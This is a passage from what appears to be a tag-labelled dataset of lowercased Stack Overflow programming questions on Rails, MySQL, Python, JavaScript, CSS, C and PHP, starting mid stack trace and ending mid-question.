/usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:193:in `invoke_with_call_chain      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:237:in `block in invoke_prerequisites      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:235:in `each      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:235:in `invoke_prerequisites      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:212:in `block in invoke_with_call_chain      /usr/local/cellar/ruby/2.5.1/lib/ruby/2.5.0/monitor.rb:226:in `mon_synchronize      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:193:in `invoke_with_call_chain      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/task.rb:182:in `invoke      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:160:in `invoke_task      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:116:in `block (2 levels) in top_level      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:116:in `each      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:116:in `block in top_level      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:125:in `run_with_threads      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:110:in `top_level      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:83:in `block in run      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:186:in `standard_exception_handling      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/lib/rake/application.rb:80:in `run      /usr/local/lib/ruby/gems/2.5.0/gems/rake-12.3.1/exe/rake:27:in `&lt;top (required)&gt;      /usr/local/bin/rake:23:in `load      /usr/local/bin/rake:23:in `&lt;top (required)&gt;      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli/exec.rb:74:in `load      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli/exec.rb:74:in `kernel_load      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli/exec.rb:28:in `run      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli.rb:424:in `exec          /usr/local/lib/ruby/site_ruby/2.5.0/bundler/vendor/thor/lib/thor/command.rb:27:in `run      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/vendor/thor/lib/thor/invocation.rb:126:in `invoke_command      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/vendor/thor/lib/thor.rb:387:in `dispatch      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli.rb:27:in `dispatch      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/vendor/thor/lib/thor/base.rb:466:in `start      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/cli.rb:18:in `start      /usr/local/bin/bundle:30:in `block in &lt;main&gt;      /usr/local/lib/ruby/site_ruby/2.5.0/bundler/friendly_errors.rb:124:in `with_friendly_errors      /usr/local/bin/bundle:22:in `&lt;main&gt;      tasks: top =&gt; db:create =&gt; db:load_config </code></pre>   database.yml   <pre><code>postgresql. versions 7.4 and 8.x are supported. # # install the pg driver: #   gem install pg # on windows: #   gem install pg #       choose the win32 build. #       install postgresql and put its /bin directory on your path. development:   adapter: postgresql   encoding: unicode   database: pcms_development   host: localhost   pool: 5   username: root   password:    port: 3306  test:   adapter: postgresql   encoding: unicode   database: pcms_test   host: localhost   pool: 5   username: root   password: # &lt;%= rails.application.secrets[:database][:password] %&gt; </code></pre>,ruby-on-rails
mysql timestamp query  i am trying to search for studentid within a date range.  i only have one date in my database  therfore i only want the users to input one date  rather than having them input a start date and an end date for:     <code>where timestamp between startdate and enddate</code>    so i am trying this...   <pre><code>select * from scanstable inner join registeredusers on scanstable.studentid = registeredusers.id inner join labsession on scanstable.labsessionid = labsession.id inner join stafftable on labsession.lecturer = stafftable.id inner join unittable on labsession.unit = unittable.id where studentid =  10  and labsession.starttimestamp between  2011 -05 -30 +00:00:00 and  2011 -05 -30 +23:59:59; </code></pre>   but it is not returning anything when i know for sure there is a student of id 10 and that date range in the database    am i doing the +00:00:00 wrong      thanks,mysql
python- with an undetermined tuple (str)  how to find if a letter is in each one of the strings  so basically  the user is allowed to input any amount of strings that they want to when they call the function  as long as the it s a string and the strings are separated by commas and have quotation marks around them. for example:    <pre><code>  func( str1    str2    str3 )  </code></pre>   i want to look at each one of these strings that they put in and see if it contains a specific character  like the letter  a  for example. if they all contain the letter  i want to return true  if they don t  i want to return false. how can i look at each of the strings they put in (because there is no specified amount) and check,python
use different classes in java(android)   when should i create a completely new java class file and when should i just start a new public class in the main activity if i don t need a new ui or anything like that     i am asking right now because my toturial for using recyclerviews is telling me to create a new file for the adapter.,android
can you define a resolve function for promises   i m getting up to speed with promises  but there s one thing i don t understand.    so  we define a promise like so:   <pre><code>new promise( /* executor */ function(resolve  reject) { ... } ); </code></pre>   i was under the impression that <code>resolve</code> is a function that i should call when the situation is resolved successfully. so i tried to do something like this:   <pre><code>function resolve(number) {   return number * 2; }  var p = new promise((resolve  reject) =&gt; {   settimeout(() =&gt; resolve(5)  1000); });  p.then((doublednumber) =&gt; {   console.log(doublednumber); // expected: 10  actual: 5 }); </code></pre>   so it seems like <code>resolve</code> isn t a function in the usual sense  it s more like a keyword like <code>return</code>. in other words  when i m calling <code>resolve</code>  i m just instructing the program to pass on whatever value is that i provide as the arg to <code>resolve</code>.    is my understanding correct,javascript
select model based on year variable  i am building a new app in rails for an internal project that changes slightly each year based on the requirements of our clients. any changes between years will occur within the models (add/remove columns  formatting  reports  etc).  my plan is to build it to the requirements for this year and going forward each year i will create a new model and migration (<em>e.g. sample2019record  sample2020record</em>) that will encapsulate the requirements for that year. the app also needs to render previous year data and all the data is scoped based on the year meaning there is no need to render or query multiple years data. i would prefer not to create a new app each year since that is more apps that need to be maintained.      so my idea is to include the year into the url (<em>/2018/sample/new or /sample/new year=2018</em>) and parse the model based on the year ( sample#{year}record ). can rails handle this safely and is there a gem that can help assist with this approach    <hr>   here is what i came up with  thanks for the advice.    <strong>routes.rb</strong>   <pre><code>get  /:year/samples   to:  samples#index   as: :samples  defaults: { year: time.current.year } </code></pre>   routes will always default to the current year    <strong>application_controller.rb</strong>   <pre><code>before_action :check_year  def check_year   if params.has_key (:year)     if  sample#{params[:year]}record .safe_constantize.nil        redirect_to root_path(year: time.current.year)  notice:  invalid year      end   else     redirect_to root_path(year: time.current.year)  notice:  invalid year    end end  def get_sample_record(year=time.current.year)    sample#{year}record .safe_constantize end </code></pre>   added a before_action to check the year parameter and added the <code>get_sample_record</code> method to safely constantize the record that can be called from any controller with an optional year like so:    <strong>sample_controller.rb</strong>   <pre><code>sample_2018_record = get_sample_record sample_2018_record.count #&gt; 304 sample_2017_record = get_sample_record 2017 sample_2017_record.count #&gt; 575683 </code></pre>   the result will be <code>nil</code> if an invalid year is passed so i will handle the check in the controller.,ruby-on-rails
making a quiz in javascript  only takes  yes  and not  yes   so im learning javascript and decided to make a quiz for fun  i ran into the problem when i made the quiz and it asked for answers it would only take  yes  and not  yes  example...   <pre><code>var questions = [ [ do you like pizza    yes ]  ];  function askquestion(question) { var answer = prompt(question[0]   );     if (answer == question[1]) {         alert( correct! );         score++;     } else {          alert( sorry the correct answer is   + question[1]);         } }  for (var i=0;i&lt;questions.length; i++) {     askquestion(questions[i]); } </code></pre>   it will only take the answer with a capital y  i know its a bad example. but i think you know what im saying.,javascript
difference between method and function   i am a beginner in c# and have a keen interest to learn c#  but i am confused. when i asked some one what the difference is between function and method  he said to me that there is no difference  that they both have the same functionality.<br> now i am quite confused and want to know from good developers what methods and functions are     are they both the same  if not  then how do i initialize each one      is this way to initialize a function correct    <pre><code>public void updateleavestatus(employeeleave objupdateleavestatus) </code></pre>   please provide proper help as i am new.,c#
finding alternative accounts  sql  i have a setup like this:   <pre><code>username | ip foo      | 1.2.3.4 bar      | 1.2.3.4 baz      | 1.2.3.6 </code></pre>   say i want to find alternative accounts of the user  foo .  something like this should return:   <pre><code>username | ip bar      | 1.2.3.4 </code></pre>   how would i do such a thing in one sql query,sql
sum integer and show the result to textbox using c#  i got some problem when summing integer and show the result to <code>textbox</code> using c#. when i run my code  the result that is shown just the result of <code>lim30den50tot</code>. i want to sum <code>lim30den50tot</code>  <code>lim60den50tot</code>  etc. how can i do that     <pre><code>private int lim30den50tot; private int lim60den50tot; private int lim150den50tot; private int lim450den50tot; private int lim600den50tot;   private void jumlahlembar() {     int lim30 = 0;     int lim60 = 0;     int lim150 = 0;     int lim450 = 0;     int lim600 = 0;      foreach(datagridviewrow row in jadwalisigv.rows)     {          if (!row.isnewrow)         {               oledbconnection kon = new oledbconnection(koneksi);             oledbcommand command = kon.createcommand();              kon.open();             command.commandtext =  select * from [stoklembar$] where [limit] =   + row.cells[ limit ].value;             oledbdatareader reader = command.executereader();              while (reader.read())             {                 int den50 = int.parse(reader[ lembar denom 50 ].tostring());                 int den100 = int.parse(reader[ lembar denom 100 ].tostring());                  if (row.cells[ limit ].value.tostring() ==  30 )                 {                     lim30++;                     lim30den50tot = lim30 * 2 * den50 * 50000;                 }                  else if (row.cells[ limit ].value.tostring() ==  60 )                 {                     lim60++;                     lim60den50tot = lim60 * 2 * den50 * 50000;                 }                  else if (row.cells[ limit ].value.tostring() ==  150 )                 {                     lim150++;                     lim150den50tot = lim150 * 2 * den50 * 50000;                 }                  else if (row.cells[ limit ].value.tostring() ==  450 )                 {                     lim450++;                     lim450den50tot = lim450 * 2 * den50 * 50000;                 }                  else if (row.cells[ limit ].value.tostring() ==  600 )                 {                     lim600++;                     lim600den50tot = lim600 * 2 * den50 * 50000;                 }                  totalden50box.text = (lim30den50tot + lim600den50tot + lim150den50tot + lim450den50tot + lim600den50tot).tostring();               }               kon.close();         }     } } </code></pre>,c#
php: loop two date times and print the difference in minutes  i ve two date times in php as:   <pre><code>2017-06-14 13:00:00 2017-06-30 20:00:00 </code></pre>   i want to print the time of every 30 minutes in loop as given below:   <pre><code>2017-06-14 13:00:00 2017-06-14 13:30:00 2017-06-14 14:00:00 2017-06-14 14:30:00 2017-06-14 15:00:00 2017-06-14 15:30:00 2017-06-14 16:00:00 2017-06-14 16:30:00 2017-06-14 17:00:00 2017-06-14 17:30:00 2017-06-14 18:00:00 2017-06-14 18:30:00 2017-06-14 19:00:00 2017-06-14 19:30:00 2017-06-14 20:00:00 </code></pre>   up to last date 30th june. i am using while loop and printing the time difference. please find below my code.   <pre><code>$start_date = date( y-m-d h:i:s   strtotime($_request[ fromdate ].   .$_request[ fromtime ])); $end_date = date( y-m-d h:i:s   strtotime($_request[ todate ].   .$_request[ totime ])); while(strtotime($start_date) &lt; strtotime($end_date)){     $start_date = date( y-m-d h:i:s   strtotime( +30 minutes   strtotime($start_date))); } </code></pre>   i am getting all the times of a day irrespective of from time and to time. i want time only from 1 pm to 8 pm. any help will be appreciated. thanks in advance,php
dependency injection class - where to store configs  when using dependency injection for database handlers etc instead of singleton - where is it best to keep the configs i.e. username password host etc. keep inside the class  use a container class or use a static configs class or use a file,php
jquery: selecting previous element from click event in loop  forgive me if this question has been asked before but i am new to jquery and am having trouble even describing my problem. i have a loop in a php page that looks something like this:   <pre><code>foreach ($blahs as $blah) {     echo  &lt;p class= title &gt; .$blah-&gt;title. &lt;/p&gt; ;     echo  &lt;input/&gt; ;     echo  &lt;input/&gt; ;     echo  &lt;div class= delete-button &gt;&lt;img /&gt;&lt;/div&gt; ; } </code></pre>   what i am trying to accomplish is the replacement of <code>.$blah-&gt;title.</code> with the phrase  delete this title   in the closest preceding <code>&lt;p&gt;</code> element to whichever <code>&lt;div class= delete-button &gt;</code> is clicked. to do this i have some jquery at the top of the page like so:   <pre><code>&lt;script type= text/javascript &gt;     jquery(document).ready(function() {         jquery( .delete-button ).click(function() {             jquery(this).prev( .title ).html( delete this title  );         });     }); &lt;/script&gt; </code></pre>   however  this does not work. if i remove the <code>.prev( .title )</code> it replaces the html of the div so i know its working on some level but i cannot manage to get it to replace the html of the previous <code>&lt;p class= title &gt;</code>. thanks for your help.,jquery
angularjs watch for change in multidimensional array  i have these array object   <pre><code>  $scope.alterations = {      collar  : { name:  collar   selected: false  qualitative:  perfect  }       chest  : { name:  chest   selected: false  qualitative:  perfect  }       shoulder  : { name:  shoulder   selected: false  qualitative:  perfect  }       waist  : { name:  waist   selected: false  qualitative:  perfect  }       hips  : { name:  hips   selected: false  qualitative:  perfect  }       sleeve  : { name:  sleeve   selected: false  qualitative:  perfect  }       biceps  : { name:  biceps   selected: false  qualitative:  perfect  }       wrist  : { name:  wrist   selected: false  qualitative:  perfect  }       length  : { name:  length   selected: false  qualitative:  perfect  }    };     // watch alterations for changes    $scope.$watch( alterations|filter:{selected:true}   function (nv) {      $scope.alter = nv.map(function (alterations) {        return alterations;      });   }  true); </code></pre>   what do i need to change in my filter if i want to only get areas with selected:true in the array     i got these error for the map method   <pre><code>typeerror: object #&lt;object&gt; has no method  map  </code></pre>   update :    before this its working with these array structure :   <pre><code>  $scope.alterations = [         { name:  collar   selected: false  qualitative:  perfect  }          { name:  chest   selected: false  qualitative:  perfect  }          { name:  shoulder   selected: false  qualitative:  perfect  }          { name:  waist   selected: false  qualitative:  perfect  }          { name:  hips   selected: false  qualitative:  perfect  }          { name:  sleeve length   selected: false  qualitative:  perfect  }          { name:  biceps   selected: false  qualitative:  perfect  }          { name:  wrist   selected: false  qualitative:  perfect  }          { name:  shirt length   selected: false  qualitative:  perfect  }   ]; </code></pre>,angularjs
select a checkbox and get the associated text in separate line  this is the solution of the problem with getting the associated text of check box in separate line when the name is same.      html code-     <pre><code>&lt;p&gt;&lt;input name= sitelayoutdesign  value= 5  type= checkbox &gt; i do not need any unique graphics designed (0 hours)&lt;/p&gt; &lt;p&gt;&lt;input name= sitelayoutdesign  value= 6  type= checkbox &gt; i will supply images (0 hours)&lt;/p&gt; &lt;p&gt;&lt;input name= sitelayoutdesign  value= 7  type= checkbox &gt; i have a template but it needs minor customization (0 hours)&lt;/p&gt; &lt;p&gt;&lt;input name= sitelayoutdesign  value= 8  type= checkbox &gt; i need a template customized (0 hours)&lt;/p&gt; &lt;p&gt;&lt;input name= sitelayoutdesign  value= 9  type= checkbox &gt; i would like a custom design created for my site (0 hours)&lt;/p&gt; </code></pre>   jquery code-     <pre><code>$(document).ready(function(){     $( input ).click(function(){         var $check = $( input[type=checkbox]:checked );         $check.each(function(){             var id = $(this).val();             var did = $( input[type=checkbox][value= +id+ ]:checked ).closest( p ).text();          });     }); }); </code></pre>   the did variable store the associated text with respect to value of that checkbox.,jquery
how to compose a table based on two other tables   given the tables and the query:   <pre><code>create table #samples1 (sampleid int  valuea float) create table #samples2 (sampleid int  valueb float)  insert into #samples1 values (2  2.0)  (3  3.0)  (4  4.0) insert into #samples2 values (1  1.5)  (2  2.5)  (3  3.5)  select * from #samples1 full join #samples2 on #samples1.sampleid=#samples2.sampleid --    drop table #samples1 drop table #samples2 </code></pre>   how can i merge both of them  the result of this query is not exactly what i need. i want to merge both tables and keep samples that have values on both valuea and valueb but also the ones on just either of them. the result would contain samples ids 1 2 3 and 4.,sql
dijkstra algorithm: how are set and sum used   i don t understand this line of code   <pre><code>self.vertices = set(sum(([e.start  e.end] for e in edges2)  [])) </code></pre>   from <a href= http://rosettacode.org/wiki/dijkstra%27s_algorithm#python  rel= nofollow >rosettacode.org</a>    <code>print(edges2)</code> shows:   <pre><code>[edge(start= a   end= b   cost=7)  edge(start= a   end= c   cost=9)    edge(start= a   end= f   cost=14)  edge(start= b   end= c   cost=10)    edge(start= b   end= d   cost=15)  edge(start= c   end= d   cost=11)    edge(start= c   end= f   cost=2)  edge(start= d   end= e   cost=6)    edge(start= e   end= f   cost=9)] </code></pre>   i understand <code>sum</code> as adding a list of numbers. when i test in python:   <pre><code>dd = [ a   b   c   d ] sum(dd) </code></pre>   i get:   <blockquote>    typeerror: unsupported operand type(s) for <code>+</code>:  <code>int</code>  and  <code>str</code>   </blockquote>   how is <code>sum</code> called in this case  when start and end are not numbers,python
mysql  unknown column  error message  i am doing a php tutorial that uses the code below to insert a new user into a database. in the video tutorial i am following  the code works  but when i tried it i got the following error message    <pre><code>database query failed: unknown column  password  in  field list  </code></pre>   can someone explain what s wrong  why is there only a problem with password  but it worked o.k. in the tutorial    <pre><code>$sql =  insert into users (id  username  password  first_name  last_name)  ; $sql .=  values (1   kskoglund    secretpwd    kevin    skoglund ) ; $result = $database-&gt;query($sql);   public function query($sql) {   $result  = mysql_query($sql  $this-&gt;connection);     return $result; } </code></pre>   <img src= https://i.stack.imgur.com/0mbnu.png  alt= table >    <img src= https://i.stack.imgur.com/p4jfx.png  alt= password field in database >,mysql
deny/readonly access to removable drives  i want to deny/readonly access to removable drives using acl.    i searched and found that i can be done using setsecurityinfo.    i referred msdn and pinvoke.net but not able to set successfully    help in c# or vb.net required,.net
transition on visibility property  i m trying to have a menu that has a submenu and this is what i have for the moment (it s more complex than this)  i want to use the <strong>transition property:</strong>   <pre><code>.product:hover #button-option {     visibility: visible !important; } #button-option {     visibility: hidden;     -webkit-transition: visibility .2s;     transition: visibility .2s; } </code></pre>   here is my jsfiddle: <a href= http://jsfiddle.net/4bsmq2kg/  rel= nofollow >http://jsfiddle.net/4bsmq2kg/</a>    i want my submenu to appear a little later  or like take some time to appear like in here: <a href= http://www.vmware.com  rel= nofollow >http://www.vmware.com</a>    how could i make this work  i tried several things but none has been working. thanks!    edit: i m actually stupid and didn t realize a mistake there was in the code  but i still cannot find what i really wanted to find.,css
my website covers the background on chrome but not ie  my website covers the background on chrome  but not ie.    i ve tried looking around  tried some javascript  alongwith some other html solutions  but none seemed to work and they were also quite old.    this is my css:   <pre><code>body {     background-image:url( images/splash.png );     width: 100%;     height: auto; } </code></pre>,css
right aligning money_put results  i m trying to get the c++ library to generate properly formatted usd output ($ sign  commas for every 1000s place etc).    i m close  but i cannot get the right alignment to work:   <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;locale&gt;  using namespace std;  int main() {    double fiftymil = 50000000.0; // 50 million bucks    locale myloc;    const money_put&lt;char&gt;&amp; mpus = use_facet&lt;money_put&lt;char&gt; &gt;(myloc);    cout.imbue(myloc);     cout &lt;&lt; showbase &lt;&lt; fixed;    cout &lt;&lt;  a ;    cout.width(30);    cout.setf(std::ios::right);    mpus.put(cout  false  cout       fiftymil * 100); // convert to cents    cout &lt;&lt;  b  &lt;&lt; endl;     return 0; } </code></pre>   i m getting:   <pre><code>a$50 000 000.00                             b </code></pre>   i want to get:   <pre><code>a                             $50 000 000.00b </code></pre>   any ideas why this isn t working     i m using the latest solaris compiler (12.4)    <strong>update:</strong> it seems like the issue is with the c++ libraries included with the solaris compiler. this is the workaround i used:   <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;locale&gt; #include &lt;sstream&gt;  using namespace std;  string getformattedccy(double amt) {    ostringstream os;    static locale myloc;    static const money_put&lt;char&gt;&amp; mpus = use_facet&lt;money_put&lt;char&gt; &gt;(myloc);    os.imbue(myloc);     os &lt;&lt; showbase &lt;&lt; fixed;    mpus.put(os  false  os       amt * 100);    return os.str(); }  int main() {    double fiftymil = 50000000.0; // 50 million bucks     cout &lt;&lt;  a ;    cout.setf(std::ios::right);    cout.width(30);    cout &lt;&lt; getformattedccy(fiftymil);    cout &lt;&lt;  b  &lt;&lt; endl;     return 0; } </code></pre>,c++
mysql need to find the future packages from my table  i need mysql query for this: i am having a table with start_date and end_date columns from this i need to find out whose having future packages.future packages means before his package expiry date he renewed his package.for ex:   <pre><code>person_id    start_date      end_date 101765       28-04-2017      27-07-2017 101765       10-07-2017      26-10-2017 </code></pre>   from the above example the same person renewed his package before his package end has reached. so i need to display these kind of packages to display as future packages.    please help me on this,mysql
refresh div without changing it s content  helllo  in my webpage i m using multiple select lists which comes from 4 different xml files. i have a function that updates one div  containing  $scripts = simplexml_load_file($link);  and a couple of other div s with php functions inside  which perform further transformation of xml to select list.    <pre><code>&lt;div id =  updatelink &gt;&lt;/div&gt; &lt;div id =  first unique list &gt;&lt;/div&gt; &lt;div id =  second unique list &gt;&lt;/div&gt; &lt;div id =  third unique list &gt;&lt;/div&gt; </code></pre>   my problem is when i update the main div with the link  the other s don t take the new value of $scripts and basically do nothing.     my question is how to update a div without posting new contents. i wan t the php functions inside the performing div s to update and grab new value for the $scripts variable. thank you for your time,html
css alignment on different browsers  don t use css very much so this might be a simple solution. i m trying to align a dynamic date value on a jpg certificate in the lower righthand corner. its aligned on a fixed image line. alignment looks great in safari browser  but shifts to the right on chrome and firefox and shifts far to the left in internet explorer. example fiddle: <a href= http://jsfiddle.net/jeffbarclay/evu1y9ao/  rel= nofollow >http://jsfiddle.net/jeffbarclay/evu1y9ao/</a>   <pre><code>.certdate { font-size:14pt; font-family:trebuchet ms; font-weight:normal;  position: absolute;   top: 480px;  left: 780px;    } </code></pre>,css
$_server variable issue <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/8164401/where-to-add-serverdocument-root >where to add $_server[&#39;document_root&#39;]</a>    </blockquote>     i m a new to php and i m using <a href= http://www.dclassifieds.eu  rel= nofollow noreferrer >this</a> php script for my website. its requirements are in <a href= http://www.dclassifieds.eu/requirements-pid6.html  rel= nofollow noreferrer >here</a><br> as it says  i have to define <code>$_server variable</code>.  but i have no idea what it is  what its value should be and where to put it.    any help please,php
not able to read all lines from .ini using php  i m trying to read an .ini file and read all the key values. whereas i m able to get only 8 key &amp; value pairs. here is my code.   <pre><code>&lt; php $file = fopen( /home/bigc/desktop/first.ini   r );  while(! feof($file)) {           $line_of_text = fgets($file);     $parts = explode( =   $line_of_text);     echo $parts[0] . $parts[1].  &lt;br&gt; ; }  fclose($file);  &gt;  </code></pre>   and my ini file is:   <pre><code>giftcertificateemailsubject =  %s has sent you a gift certificate for %s  dear =  dear  giftcertificateemailintro =  %s (%s) has sent you a %s gift certificate for &lt;a     href= %s &gt;%s&lt;/a&gt;.   giftcertificateemailattached =  your gift certificate is attached to this email.  giftcertificateemailinstructions =  for instructions on how to redeem your gift certificate please &lt;a href= %s/giftcertificates.php action=redeem &gt;click here&lt;/a&gt;.  giftcertificateemailexpiry =  you have until %s to use this gift certificate before it expires.  giftcertificateemailwarning =  please download or print a copy of your gift certificate for safe keeping as gift certificates are non-transferable.  giftcertificateemailyouhavereceived =  you have received a gift certificate for  giftcertificate =  gift certificate  certificateto =  to  </code></pre>   is there anything missing,php
program misbehaves 25% of the time  inspired by <a href= https://stackoverflow.com/questions/3333535/determining-largest-value-using-function >this topic</a>  i decided to write a simple program that does exactly that.<br> the logic isn t complicated and i have a working program 75% of the time.. the amount of asked numbers is defined as <code>#define bufsize x</code>  where <code>x</code> can be an arbitrary int.<br> the problem arises when <code>((bufsize+1) % sizeof(int)) == 0</code>.    so for example  if <code>bufsize=10</code>  my program behaves correctly  when <code>bufsize=11</code> i get odd behaviour.    here is the sourcecode:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #define bufsize 7  int max(int *buf);  int main() {     int bufsize = bufsize  *buf = malloc(sizeof(int[bufsize]));      // read values     int *ptr = buf;     while(--bufsize + 1)     {         printf( input %d:    bufsize - bufsize);         scanf( %d   ptr);         ++ptr;     }      // reset pointer and determine max     ptr = buf;     printf( \nmax: %d\n   max(ptr));     // cleanup     free(buf);     ptr = null;     buf = null;      exit(exit_success); }  int max(int *buf) {     int max = 0;     while(*buf)     {         printf( %d\n   *buf);         if(*buf &gt; max) max = *buf;         ++buf;     }     return max; } </code></pre>   and some sample output for bufsize=2 (correct) and bufsize=3 (incorrect).   <pre><code>suze:/home/born05/htdocs/experiments/c# gcc input.c &amp;&amp; ./a.out input 1: 12 input 2: 23 12 23  max: 23  suze:/home/born05/htdocs/experiments/c# gcc input.c &amp;&amp; ./a.out input 1: 12 input 2: 23 input 3: 34 12 23 34 135153  max: 135153 </code></pre>   i have the feeling it is something extremely logical but i can t put my finger on the exact cause of this misbehaviour. could someone point out the (perhaps obvious) flaw to me,c
how to trigger an action from a custom button in uitableviewcell  i ve created a subclass of <code>uibutton</code> to allow me to have a checkbox on the iphone. this checkbox is part of a subclass of <code>uitableviewcell</code>. my question is how i can attach an action to the button being pressed and have that method implemented in the table view controller     i tried using the <code>addtarget:action:</code> method but this doesn t seem to work. one option is to use the app delegate but this isn t good programming practice.,iphone
php - get string length of each element in an array  i m trying to set the max length of each post on a site  but strlen() doesn t work with arrays. so i need to break it down to check each post in the array.    how could i adapt what i have to get this if statment to work correctly. the issue is the strlen() not accepting object.   <pre><code>    for($i = 0  $size = count($someposts); $i &lt; $size; ++$i) {         if (strlen(utf8_decode($someposts[$i])) &gt; $max_length) {             $offset = ($max_length - 3) - strlen($someposts);             $someposts = substr($someposts  0  strrpos($reviewposts       $offset)) .  ... ;         }     } </code></pre>   i m using doctrine to generate the array  which works fine.    thanks.    edit:    error - warning: strlen() expects parameter 1 to be string  object given    edit 2:    <strong>no error messages now  but the code doesn t work in terms of limiting the length of the posts.</strong>,php
how to change focus from treeview node to control using c#   a form will opens when i click on treenode. i need to set focus from treenode to the textbox control in newly opened form.,c#
readxml embedded resource  how can i read xml in embedded resource     is the code below correct  the xml is at the root of the project folder   <pre><code>dataset dataset = new dataset(); dataset.readxml( text.xml ); </code></pre>   thank you,c#
mysql varchar field selection and effect on buffer pool usage  as i have stored posttext as datatype varchar(5000) in post table.    1) so when i query posttext using below sql query in mysql 5.6 community version    <pre><code>select posttext from post where postid = 1;     </code></pre>   so does whole posttext 5000 characters are stored in innodb buffer pool or innodb does not store this field value in buffer pool  because there are many posts in this table so if it stores whole value then innodb buffer pool might fill up early with uncertain unnecessary data.    2) do i need to store it as text or varchar(5000) in terms of above question and in terms of performance     thanks,mysql
how do i make it so that this blockquote has a double quotation mark before and after the text   struggling on this a bit. just needed some help adding the double quotation. i need it to double quote just the paragraph in the block quote.   <pre><code>q blockquote {   background-color: rgb(131  121  36);   color: white;   font-size: 16px;       font-family: comic sans ms  times new roman  cursive; } </code></pre>,css
detect face aspect ratio  i am working on a demo in ios where a user takes a photograph from camera or from photo gallery  and then some how determine whether the person is japenese  chinese  asian from the skin color  and shape of eyes. is there any ios library that can help me to achieve this goal.  if there is no such library  can anyone guide if it is even physible or what approach should i follow,ios
css rules affecting other objects  is it possible for a css rule (such as <code>#testobject1:hover  {}</code>) to have an effect on another object <code>#testobject2</code>,css
is there a way niceditor be on a subfolder and not outside the demo page folder   hello i just want to know if i can put it on a subfolder instead   when i tried to put it on subfolder or within the same folder of my page  it displays normal textare. but whenever i put it outside the folder it works fine.     just asking for convenience.     or if there is already an answer please tell me.    thank you,php
string copy issue in c  in the below program i need to reverse string without using library function. but the output after copying prints some garbage value. can anyone kindly help me in figuring it out  <a href= https://i.stack.imgur.com/zig6d.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/zig6d.png  alt= please find the code and output ></a>,c
program rounding decimal to exponential which i dont want  i have a file which has data like this    usdinr12augfut          58  <code>1344396605</code>  627906   2012-08-08 09:00:05  trade        55.1600         2  55179.50       839 usdinr12augfut          59  <code>1344396605</code>  627910   2012-08-08 09:00:05  trade        55.1600      in my c code i read this data from a file through this line   <pre><code>void as(char line[300]) {     sscanf(line  %s %lf %lf %lf %s %s %s %lf %ld %lf %ld  symbol  &amp;trade_no  &amp;utc_sec &amp;utc_nano date time trade_type &amp;ltp &amp;ltq &amp;vwap &amp;volume);         if (!strcmp(trade_type  bid ))         {         cout&lt;&lt;endl;         printf( %s %lf %lf %lf %s %s %s %lf %ld %lf %ld\n  symbol trade_no utc_sec utc_nano date time trade_type ltp ltq vwap volume);  //      cha/i);         }          else if (!strcmp(trade_type  ask ))         {         cout&lt;&lt;endl;         printf( %s %lf %lf %lf %s %s %s %lf %ld %lf %ld\n  symbol trade_no utc_sec utc_nano date time trade_type ltp ltq vwap volume); //      char li[100] =  only ask.txt ; //      wr(li);         }          else if (!strcmp(trade_type  trade ))         {         cout&lt;&lt;endl;         printf( %s %lf %lf %lf %s %s %s %lf %ld %lf %ld\n  symbol trade_no utc_sec utc_nano date time trade_type ltp ltq vwap volume);   //          char li[100] =  only trades.txt ; //          wr(li);         } </code></pre>   where i take that number as double utc_nano..the problem is when i write this in another file through another function  the output i get is     usdinr12augfut 58 <code>1.344e+009</code> 627906 2012-08-08 09:00:05 trade 55.1600 2 55179.50 839 usdinr12augfut 59 <code>1.344e+009</code> 627910 2012-08-08 09:00:05 trade 55.1600    i dont want the highlighted number in exponential form  i want it as it was in input file ..please help me,c
passing values from controller to controller in angularjs using factory  i trying to pass a value from controller1 to controller2 using factory on ng-click  now i have added routing   <pre><code>    var app = angular.module( myapp   [ ui.router ]);    app.config(function ($stateprovider  $urlrouterprovider) {  $urlrouterprovider.otherwise( /home );  $stateprovider .state( showdata   {     url:  /showdata       templateurl:  ../pages/show.html  }) .state( editdata   {     url:  /editdata       controller: editctrl       templateurl:  ../pages/edit.html  })     });      app.controller( controller1   function ($scope  $http  phyfactory) {     //here i am calling a factory     $scope.open = function (name) {          var message = name;          console.log( hcpname   message);         phyfactory.set(message);         $location.url( /editdata );      // this is my second controller      app.controller( editctrl   function ($scope  phyfactory) {         alert( cntrl2 ); $scope.fks = phyfactory.get();     }); </code></pre>   i want to bind this value to textbox   <pre><code>    &lt;div ng-controller= controller2 &gt;     name: &lt;input type= text  ng-model= fks  /&gt;     &lt;/div&gt; </code></pre>   //this is my factory   <pre><code>    